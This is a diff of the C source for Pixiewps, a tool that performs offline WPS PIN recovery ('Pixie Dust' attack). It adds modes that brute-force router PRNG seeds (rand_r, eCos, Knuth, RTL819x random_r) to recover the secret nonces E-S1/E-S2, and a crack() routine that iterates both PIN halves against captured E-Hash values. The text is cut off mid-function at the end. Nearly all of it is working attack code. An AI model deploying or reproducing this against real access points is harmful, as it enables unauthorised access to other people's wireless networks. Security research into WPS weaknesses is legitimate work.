-66,7 +54,12 @@ static const struct option long_options[] = { { "dh-small", no_argument, 0, 'S' }, { "force", no_argument, 0, 'f' }, { "verbosity", required_argument, 0, 'v' }, - { "help", no_argument, 0, 'h' }, + { "version", no_argument, 0, 'V' }, + { "help", no_argument, 0, 0 }, + { "mode", required_argument, 0, 1 }, + { "start", required_argument, 0, 2 }, + { "end", required_argument, 0, 3 }, + { 0, no_argument, 0, 'h' }, { 0, 0, 0, 0 } }; @@ -74,37 +67,42 @@ int main(int argc, char **argv) { struct global *wps; if ((wps = calloc(1, sizeof(struct global)))) { + wps->mode_auto = 1; wps->verbosity = 3; wps->error = calloc(256, 1); if (!wps->error) goto memory_err; wps->error[0] = '\n'; } else { - memory_err: - fprintf(stderr, "\n [X] Memory allocation error!\n"); - return MEM_ERROR; +memory_err: + fprintf(stderr, "\n [X] Memory allocation error!\n"); + return MEM_ERROR; } + time_t start_p = 0, end_p = 0; + clock_t c_start = 0, c_end; + int opt = 0; int long_index = 0; + uint_fast8_t c = 0; opt = getopt_long(argc, argv, option_string, long_options, &long_index); - while (opt != -1) { + c++; switch (opt) { case 'e': - wps->pke = malloc(WPS_PUBKEY_LEN); + wps->pke = malloc(WPS_PKEY_LEN); if (!wps->pke) goto memory_err; - if (hex_string_to_byte_array(optarg, wps->pke, WPS_PUBKEY_LEN)) { + if (hex_string_to_byte_array(optarg, wps->pke, WPS_PKEY_LEN)) { snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg); goto usage_err; } break; case 'r': - wps->pkr = malloc(WPS_PUBKEY_LEN); + wps->pkr = malloc(WPS_PKEY_LEN); if (!wps->pkr) goto memory_err; - if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PUBKEY_LEN)) { + if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PKEY_LEN)) { snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg); goto usage_err; } @@ -164,20 +162,77 @@ int main(int argc, char **argv) { } break; case 'S': - wps->small_dh_keys = true; + wps->small_dh_keys = 1; break; case 'f': - wps->bruteforce = true; + wps->bruteforce = 1; break; case 'v': - if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || 3 < wps->verbosity) { + if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || wps->verbosity > 3) { snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg); goto usage_err; }; break; + case 'V': + { + struct timeval t_current; + gettimeofday(&t_current, 0); + time_t r_time; + struct tm ts; + char buffer[30]; + r_time = t_current.tv_sec; + ts = *localtime(&r_time); + strftime(buffer, 30, "%c", &ts); + fprintf(stderr, "\n Pixiewps %s\n\n [*] System time: %s\n\n", LONG_VERSION, buffer); + free(wps->error); + free(wps); + return ARG_ERROR; + } case 'h': goto usage_err; break; + case 0 : + if (strcmp("help", long_options[long_index].name) == 0) { + fprintf(stderr, v_usage, SHORT_VERSION, + p_mode_name[RT], + p_mode_name[ECOS_SIMPLE], + p_mode_name[RTL819x], + p_mode_name[ECOS_SIMPLEST], + p_mode_name[ECOS_KNUTH] + ); + free(wps->error); + free(wps); + return ARG_ERROR; + } + goto usage_err; + case 1 : + if (strcmp("mode", long_options[long_index].name) == 0) { + if (parse_mode(optarg, p_mode, MODE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad modes -- %s\n\n", optarg); + goto usage_err; + } + wps->mode_auto = 0; + break; + } + goto usage_err; + case 2 : + if (strcmp("start", long_options[long_index].name) == 0) { + if (get_unix_datetime(optarg, &(start_p))) { + snprintf(wps->error, 256, "\n [!] Bad starting point -- %s\n\n", optarg); + goto usage_err; + } + break; + } + goto usage_err; + case 3 : + if (strcmp("end", long_options[long_index].name) == 0) { + if (get_unix_datetime(optarg, &(end_p))) { + snprintf(wps->error, 256, "\n [!] Bad ending point -- %s\n\n", optarg); + goto usage_err; + } + break; + } + goto usage_err; case '?': default: fprintf(stderr, "Run %s -h for help.\n", argv[0]); @@ -189,13 +244,16 @@ int main(int argc, char **argv) { } if (argc - optind != 0) { - snprintf(wps->error, 256, "\n [!] Unknown argument(s)!\n\n"); - - usage_err: - fprintf(stderr, usage, VERSION, argv[0], wps->error); + snprintf(wps->error, 256, "\n [!] Unknown extra argument(s)!\n\n"); + goto usage_err; + } else { + if (!c) { +usage_err: + fprintf(stderr, usage, SHORT_VERSION, argv[0], wps->error); free(wps->error); free(wps); return ARG_ERROR; + } } /* Not all required arguments have been supplied */ @@ -216,14 +274,100 @@ int main(int argc, char **argv) { goto usage_err; } + /* Cannot specify --start or --end if --force is selected */ + if (wps->bruteforce && (start_p || end_p)) { + if (start_p || end_p) { + snprintf(wps->error, 256, "\n [!] Cannot specify --start or --end if --force is selected!\n\n"); + goto usage_err; + } + } + + if (wps->mode_auto) { /* Mode auto */ + if (wps->pke && !memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { + p_mode[0] = RTL819x; + p_mode[1] = NONE; + if (!wps->e_nonce) { + snprintf(wps->error, 256, "\n [!] Enrollee nonce is needed for mode %u!\n\n", RTL819x); + goto usage_err; + } + } else { + p_mode[0] = RT; + p_mode[1] = ECOS_SIMPLE; + + /* Not tested */ +#ifdef EXTRA + p_mode[2] = ECOS_SIMPLEST; + p_mode[3] = ECOS_KNUTH; + p_mode[4] = NONE; +#else + p_mode[2] = NONE; +#endif + } + } + + DEBUG_PRINT("Debugging enabled"); + DEBUG_PRINT("Modes: %d (%s), %d (%s), %d (%s), %d (%s), %d (%s)", + p_mode[0], p_mode_name[p_mode[0]], + p_mode[1], p_mode_name[p_mode[1]], + p_mode[2], p_mode_name[p_mode[2]], + p_mode[3], p_mode_name[p_mode[3]], + p_mode[4], p_mode_name[p_mode[4]] + ); + + if (is_mode_selected(RTL819x)) { /* Ignore --start and --end otherwise */ + + struct timeval t_now; + gettimeofday(&t_now, 0); + wps->start = t_now.tv_sec; + wps->end = t_now.tv_sec - MODE3_DAYS * SEC_PER_DAY; + + /* Attributes --start and --end can be switched start > end or end > start */ + if (start_p) { + if (end_p) { + + /* Attributes --start and --end must be different */ + if (start_p == end_p) { + snprintf(wps->error, 256, "\n [!] Starting and Ending points must be different!\n\n"); + goto usage_err; + } + if (end_p > start_p) { + wps->start = end_p; + wps->end = start_p; + } else { + wps->start = start_p; + wps->end = end_p; + } + } else { + if (start_p >= wps->start) { + snprintf(wps->error, 256, "\n [!] Bad Starting point!\n\n"); + goto usage_err; + } else { + wps->end = start_p; + } + } + } else { + if (end_p) { + if (end_p >= wps->start) { + snprintf(wps->error, 256, "\n [!] Bad Ending point!\n\n"); + goto usage_err; + } else { + wps->end = end_p; + } + } else { + if (wps->bruteforce) + wps->end = 0; + } + } + } + if (wps->small_dh_keys) { /* Small DH keys selected */ - wps->pkr = malloc(WPS_PUBKEY_LEN); + wps->pkr = malloc(WPS_PKEY_LEN); if (!wps->pkr) goto memory_err; /* g^A mod p = 2 (g = 2, A = 1, p > 2) */ - memset(wps->pkr, 0, WPS_PUBKEY_LEN - 1); - wps->pkr[WPS_PUBKEY_LEN - 1] = 0x02; + memset(wps->pkr, 0, WPS_PKEY_LEN - 1); + wps->pkr[WPS_PKEY_LEN - 1] = 0x02; if (!wps->authkey) { if (wps->e_nonce) { @@ -236,12 +380,14 @@ int main(int argc, char **argv) { if (!wps->kdk) goto memory_err; - unsigned char *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN); + uint8_t *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN); if (!buffer) goto memory_err; + c_start = clock(); + /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */ - sha256(wps->pke, WPS_PUBKEY_LEN, wps->dhkey); + sha256(wps->pke, WPS_PKEY_LEN, wps->dhkey); memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN); memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN); @@ -255,7 +401,7 @@ int main(int argc, char **argv) { goto memory_err; /* Key derivation function */ - kdf(wps->kdk, WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN, buffer); + kdf(wps->kdk, buffer); wps->authkey = malloc(WPS_AUTHKEY_LEN); if (!wps->authkey) @@ -302,251 +448,364 @@ int main(int argc, char **argv) { wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err; wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err; - unsigned char *result = (unsigned char *) malloc(WPS_HASH_LEN); - if (!result) - goto memory_err; - unsigned char *buffer = (unsigned char *) malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2); - if (!buffer) - goto memory_err; - + uint_fast8_t k = 0; + uint_fast8_t found_p_mode = NONE; + uint_fast32_t pin; uint32_t seed; - uint32_t print_seed; /* Seed to display at the end */ - unsigned int first_half = 0; - unsigned int second_half = 0; - unsigned char s_pin[4] = {0}; - bool valid = false; + uint32_t print_seed = 0; - uint_fast8_t mode = 1; bool found = false; - clock_t c_start, c_end; - c_start = clock(); + if (!c_start) + c_start = clock(); - while (mode <= MAX_MODE && !found) { + /* Main loop */ + while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) { - seed = 0; print_seed = 0; + /* 1 */ + if (p_mode[k] == RT) { - /* E-S1 = E-S2 = E-Nonce */ - if (mode == 2 && wps->e_nonce) { - memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); - memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); - } + DEBUG_PRINT(" * Mode: %d (%s)", RT, p_mode_name[RT]); + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - /* PRNG bruteforce (rand_r) */ - if (mode == 3 && wps->e_nonce) { + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = RT; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; + } - /* Reducing entropy from 32 to 25 bits */ - uint32_t index = wps->e_nonce[0] << 25; - uint32_t limit = index | 0x01ffffff; + /* 2 */ + } else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) { - while (1) { + DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLE, p_mode_name[ECOS_SIMPLE]); + + uint32_t index = wps->e_nonce[0] << 25; /* Reducing entropy from 32 to 25 bits */ + do { seed = index; - uint_fast8_t i; for (i = 1; i < WPS_NONCE_LEN; i++) { - if (wps->e_nonce[i] != (unsigned char) rand_r(&seed)) break; + if (wps->e_nonce[i] != (uint8_t) (rand_r(&seed) & 0xff)) + break; } - if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; - /* Advance to get E-S1 */ - for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) - wps->e_s1[i] = (unsigned char) rand_r(&seed); + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ + wps->e_s1[i] = (uint8_t) (rand_r(&seed) & 0xff); - /* Advance to get E-S2 */ - for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) - wps->e_s2[i] = (unsigned char) rand_r(&seed); + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ + wps->e_s2[i] = (uint8_t) (rand_r(&seed) & 0xff); + DEBUG_PRINT("Seed found"); break; } - - if (index == limit) break; /* Complete bruteforce exausted */ - index++; + } while (!(index & 0x02000000)); + + if (print_seed) { /* Seed found */ + + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = ECOS_SIMPLE; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; + } } - } - /* PRNG bruteforce (random_r) */ - if (mode == 4 && wps->e_nonce) { + /* 3 */ + } else if (p_mode[k] == RTL819x && wps->e_nonce) { - /* Checks if the sequence may actually be generated by current random function */ - if (wps->e_nonce[0] < 0x80 && wps->e_nonce[4] < 0x80 && wps->e_nonce[8] < 0x80 && wps->e_nonce[12] < 0x80) { + DEBUG_PRINT(" * Mode: %d (%s)", RTL819x, p_mode_name[RTL819x]); - valid = true; + /* E-S1 = E-S2 = E-Nonce - Best case scenario */ + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); + memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); - /* Converting enrollee nonce to the sequence may be generated by current random function */ - uint32_t randr_enonce[4] = {0}; - uint_fast8_t j = 0; - for (uint_fast8_t i = 0; i < 4; i++) { - randr_enonce[i] |= wps->e_nonce[j++]; - randr_enonce[i] <<= 8; - randr_enonce[i] |= wps->e_nonce[j++]; - randr_enonce[i] <<= 8; - randr_enonce[i] |= wps->e_nonce[j++]; - randr_enonce[i] <<= 8; - randr_enonce[i] |= wps->e_nonce[j++]; - } + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint32_t limit; - struct timeval curr_time; - gettimeofday(&curr_time, 0); + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; + } - if (wps->bruteforce) { - seed = curr_time.tv_sec + SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2; - limit = 0; + if (found_p_mode == NONE) { + if (wps->small_dh_keys || check_small_dh_keys(wps->pkr)) { + if (!wps->warning) { + wps->warning = calloc(256, 1); + if (!wps->warning) + goto memory_err; + snprintf(wps->warning, 256, " [!] Small DH keys is not supported for mode %u!\n\n", RTL819x); + } } else { - seed = curr_time.tv_sec + SEC_PER_HOUR * 2; - limit = curr_time.tv_sec - SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2; - } - struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data)); - char *rand_statebuf = (char *) calloc(1, 128); + /* Checks if the sequence may actually be generated by current random function */ + if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && + !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) { - initstate_r(seed, rand_statebuf, 128, buf); - int32_t res = 0; - - while (1) { - srandom_r(seed, buf); - - uint_fast8_t i; - for (i = 0; i < 4; i++) { - random_r(buf, &res); - if ((uint32_t) res != randr_enonce[i]) break; - } - - if (i == 4) { - print_seed = seed; - srandom_r(print_seed + 1, buf); - for (uint_fast8_t j = 0; j < 4; j++) { - random_r(buf, &res); - uint32_t be = h32_to_be(res); - memcpy(&(wps->e_s1[4 * j]), &be, 4); - memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ + /* Converting enrollee nonce to the sequence may be generated by current random function */ + uint32_t randr_enonce[4] = { 0 }; + uint_fast8_t j = 0; + for (uint_fast8_t i = 0; i < 4; i++) { + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + } + + #if DEBUG + { + struct tm ts; + char buffer[30]; + ts = *localtime(&wps->start); + strftime(buffer, 30, "%c", &ts); + printf("\n [DEBUG] %s:%d:%s(): Start: %10ld (%s)", + __FILE__, __LINE__, __func__, (long) wps->start, buffer); + ts = *localtime(&wps->end); + strftime(buffer, 30, "%c", &ts); + printf("\n [DEBUG] %s:%d:%s(): End: %10ld (%s)", + __FILE__, __LINE__, __func__, (long) wps->end, buffer); + fflush(stdout); + } + #endif + + struct random_data *buf = calloc(1, sizeof(struct random_data)); + char *rand_statebuf = calloc(1, 128); + + seed = wps->start; + uint32_t limit = wps->end; + initstate_r(seed, rand_statebuf, 128, buf); + int32_t res = 0; + + while (1) { + srandom_r(seed, buf); + uint_fast8_t i; + for (i = 0; i < 4; i++) { + random_r(buf, &res); + if ((uint32_t) res != randr_enonce[i]) + break; + } + + if (i == 4) { + print_seed = seed; + DEBUG_PRINT("Seed found"); + } + + if (print_seed || seed == limit) { + break; + } + + seed--; + } + + if (print_seed) { /* Seed found */ + uint_fast8_t i = 0; + uint8_t tmp_s_nonce[16]; + do { + i++; + srandom_r(print_seed + i, buf); + for (uint_fast8_t j = 0; j < 4; j++) { + random_r(buf, &res); + uint32_t be = h32_to_be(res); + memcpy(&(wps->e_s1[4 * j]), &be, 4); + memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ + } + + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found"); + } else if (r == PIN_ERROR) { + if (i == 1) { + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); /* E-S1 = E-Nonce != E-S2 */ + memcpy(tmp_s_nonce, wps->e_s2, WPS_SECRET_NONCE_LEN); /* Chaching for next round, see below */ + } else { + memcpy(wps->e_s1, tmp_s_nonce, WPS_SECRET_NONCE_LEN); + memcpy(tmp_s_nonce, wps->e_s2, WPS_SECRET_NONCE_LEN); /* E-S1 = old E-S1, E-S2 = new E-S2 */ + } + + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r2 = crack(wps, &pin); + if (r2 == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found"); + } else if (r2 == MEM_ERROR) { + goto memory_err; + } + } else if (r == MEM_ERROR) { + goto memory_err; + } + } while (found_p_mode == NONE && i <= MODE3_TRIES); + } + + if (found_p_mode == NONE && !wps->bruteforce) { + if (!wps->warning) { + wps->warning = calloc(256, 1); + if (!wps->warning) + goto memory_err; + snprintf(wps->warning, 256, " [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); + } } - } - if (print_seed || seed == limit) { free(buf); free(rand_statebuf); - break; } - - seed--; } } - } - /* WPS pin cracking */ - if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) { + /* 4 */ + } else if (p_mode[k] == ECOS_SIMPLEST && wps->e_nonce) { - crack: - first_half = 0; second_half = 0; + DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLEST, p_mode_name[ECOS_SIMPLEST]); - while (first_half < 10000) { - uint_to_char_array(first_half, 4, s_pin); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk1); - memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); + uint32_t index = 0; + do { + seed = index; + uint_fast8_t i; + for (i = 0; i < WPS_NONCE_LEN; i++) { + if (wps->e_nonce[i] != (uint8_t) rand_r_simplest(&seed)) + break; + } + if (i == WPS_NONCE_LEN) { /* Seed found */ + print_seed = seed; - if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) { - first_half++; - } else { + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ + wps->e_s1[i] = (uint8_t) rand_r_simplest(&seed); + + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ + wps->e_s2[i] = (uint8_t) rand_r_simplest(&seed); + + DEBUG_PRINT("Seed found"); break; } + index++; + } while (index != 0xffffffff); + + if (print_seed) { /* Seed found */ + + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = ECOS_SIMPLEST; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; + } } - if (first_half < 10000) { /* First half found */ - uint_fast8_t checksum_digit; - unsigned int c_second_half; + /* 5 */ + } else if (p_mode[k] == ECOS_KNUTH && wps->e_nonce) { - /* Testing with checksum digit */ - while (second_half < 1000) { - checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); - c_second_half = second_half * 10 + checksum_digit; - uint_to_char_array(c_second_half, 4, s_pin); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2); - memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); + DEBUG_PRINT(" * Mode: %d (%s)", ECOS_KNUTH, p_mode_name[ECOS_KNUTH]); - if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { - second_half++; - } else { - second_half = c_second_half; - found = true; + uint32_t index = 0; + do { + seed = index; + uint_fast8_t i; + for (i = 0; i < WPS_NONCE_LEN; i++) { + if (wps->e_nonce[i] != (uint8_t) knuth_rand(&seed)) break; - } } + if (i == WPS_NONCE_LEN) { /* Seed found */ + print_seed = seed; - /* Testing without checksum digit */ - if (!found) { - second_half = 0; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ + wps->e_s1[i] = (uint8_t) knuth_rand(&seed); - while (second_half < 10000) { + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ + wps->e_s2[i] = (uint8_t) knuth_rand(&seed); - /* If already tested skip */ - if (wps_pin_valid(first_half * 10000 + second_half)) { - second_half++; - continue; - } + DEBUG_PRINT("Seed found"); + break; + } + index++; + } while (index != 0xffffffff); - uint_to_char_array(second_half, 4, s_pin); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2); - memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); - memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); - hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); + if (print_seed) { /* Seed found */ - if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { - second_half++; - } else { - found = true; - break; - } - } + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r = crack(wps, &pin); + if (r == PIN_FOUND) { + found_p_mode = ECOS_KNUTH; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; } } + } - /* E-S1 = E-Nonce != E-S2 */ - if (mode == 4 && print_seed && !found) { - memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); - mode++; - goto crack; - } - - mode++; + k++; } c_end = clock(); - long ms_elapsed = (c_end - c_start) / 1000; + long long ms_elapsed = (c_end - c_start) / 1000; - mode--; - if (mode == MAX_MODE + 1) mode--; + k--; - printf("\n Pixiewps %s\n", VERSION); +#ifdef DEBUG + puts(""); +#endif - if (found) { + printf("\n Pixiewps %s\n", SHORT_VERSION); + + if (found_p_mode) { if (wps->e_nonce) { - if ((mode == 3 || mode == 4) && wps->verbosity > 2) { - printf("\n [*] PRNG Seed: %u", print_seed); - } - if (mode == 4 && wps->verbosity > 2) { - time_t seed_time; - struct tm ts; - char buffer[30]; + if (wps->verbosity > 2) { + if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && print_seed) + || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { - seed_time = print_seed; - ts = *localtime(&seed_time); - strftime(buffer, 30, "%c", &ts); - printf(" (%s)", buffer); + printf("\n [*] PRNG Seed: %u", print_seed); + } + if (found_p_mode == RTL819x && print_seed) { + time_t seed_time; + struct tm ts; + char buffer[30]; + + seed_time = print_seed; + ts = *localtime(&seed_time); + strftime(buffer, 30, "%c", &ts); + printf(" (%s)", buffer); + } } } + if (wps->verbosity > 1) { + printf("\n [*] Mode: %u (%s)", found_p_mode, p_mode_name[found_p_mode]); + } if (wps->verbosity > 2) { if (wps->dhkey) { /* To see if AuthKey was supplied or not */ printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); @@ -562,19 +821,17 @@ int main(int argc, char **argv) { printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN); printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN); } - printf("\n [+] WPS pin: %04u%04u", first_half, second_half); + printf("\n [+] WPS pin: %08u", pin); } else { printf("\n [-] WPS pin not found!"); } - printf("\n\n [*] Time taken: %ld s %ld ms\n\n", ms_elapsed / 1000, ms_elapsed % 1000); + printf("\n\n [*] Time taken: %lld s %lld ms\n\n", ms_elapsed / 1000, ms_elapsed % 1000); - if (!found && mode == 4 && valid && !wps->bruteforce) { - printf(" [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); + if (wps->warning) { + printf("%s", wps->warning); + free(wps->warning); } - free(result); - free(buffer); - free(wps->pke); free(wps->pkr); free(wps->e_hash1); @@ -598,11 +855,17 @@ int main(int argc, char **argv) { free(wps); - return (!found); /* 0 success, 1 failure */ + return found_p_mode != 0 ? PIN_FOUND : PIN_ERROR; } -/* Linear congruential generator */ -int32_t rand_r(uint32_t *seed) { +/* Simplest */ +uint32_t rand_r_simplest(uint32_t *seed) { + *seed = (*seed * 1103515245) + 12345; /* Permutate seed */ + return *seed; +} + +/* Simple, Linear congruential generator */ +uint32_t rand_r(uint32_t *seed) { uint32_t s = *seed; uint32_t uret; @@ -614,5 +877,116 @@ int32_t rand_r(uint32_t *seed) { uret += (s & 0xfe000000) >> (11 + 14); /* Use top 7 bits */ *seed = s; - return (int32_t) uret; + return uret; +} + +/* Mersenne-Knuth */ +uint32_t knuth_rand(uint32_t *seed) { + #define MM 2147483647 /* Mersenne prime */ + #define AA 48271 /* This does well in the spectral test */ + #define QQ 44488 /* MM / AA */ + #define RR 3399 /* MM % AA, important that RR < QQ */ + + *seed = AA * (*seed % QQ) - RR * (*seed / QQ); + if (*seed & 0x80000000) + *seed += MM; + + return *seed; +} + +/* PIN cracking attempt */ +uint_fast8_t crack(struct global *g, uint_fast32_t *pin) { + struct global *wps = g; + unsigned int first_half = 0; + unsigned int second_half = 0; + uint8_t s_pin[4]; + uint_fast8_t found = 0; + + uint8_t *buffer = malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2); + if (!buffer) + return MEM_ERROR; + + uint8_t *result = malloc(WPS_HASH_LEN); + if (!result) + return MEM_ERROR; + + while (first_half < 10000) { + uint_to_char_array(first_half, 4, s_pin); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk1); + memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + 